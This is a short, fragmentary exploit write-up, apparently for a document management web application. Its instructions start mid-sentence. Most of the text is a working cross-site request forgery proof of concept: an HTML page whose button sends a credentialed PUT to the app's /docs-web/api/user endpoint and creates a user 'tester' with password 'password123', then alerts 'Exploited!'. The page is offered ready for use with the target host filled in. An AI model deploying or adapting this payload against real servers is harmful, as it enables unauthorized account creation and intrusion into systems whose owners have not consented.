{HOST}
On The Code Below With Your Machine IP.Exploited
On Your Screen That Means The Exploit Did Work.tester
And Password: password123
. And You Will Be Able To Login.<!DOCTYPE html>
<html>
<head>
<title>Hello World</title>
</head>
<body>
<div style="text-align: center;">
<h1>Click The Button Below</h1>
<input type="button" name="test" onclick="addUser();">
</div>
<script type="text/javascript">
function addUser() {
const http = new XMLHttpRequest();
const url = "http://{HOST}:8080/docs-web/api/user?email=hacker@gmail.com&password=password123&passwordconfirm=password123&storage_quota=100000000&username=tester";
http.withCredentials = true;
http.open('PUT' , url);
http.setRequestHeader('Content-Type' , 'application/x-www-form-urlencoded;charset=utf-8')
http.send();
http.onreadystatechange = (e) => {
alert('Exploited!');
}
}
</script>
</body>
</html>
Cheers.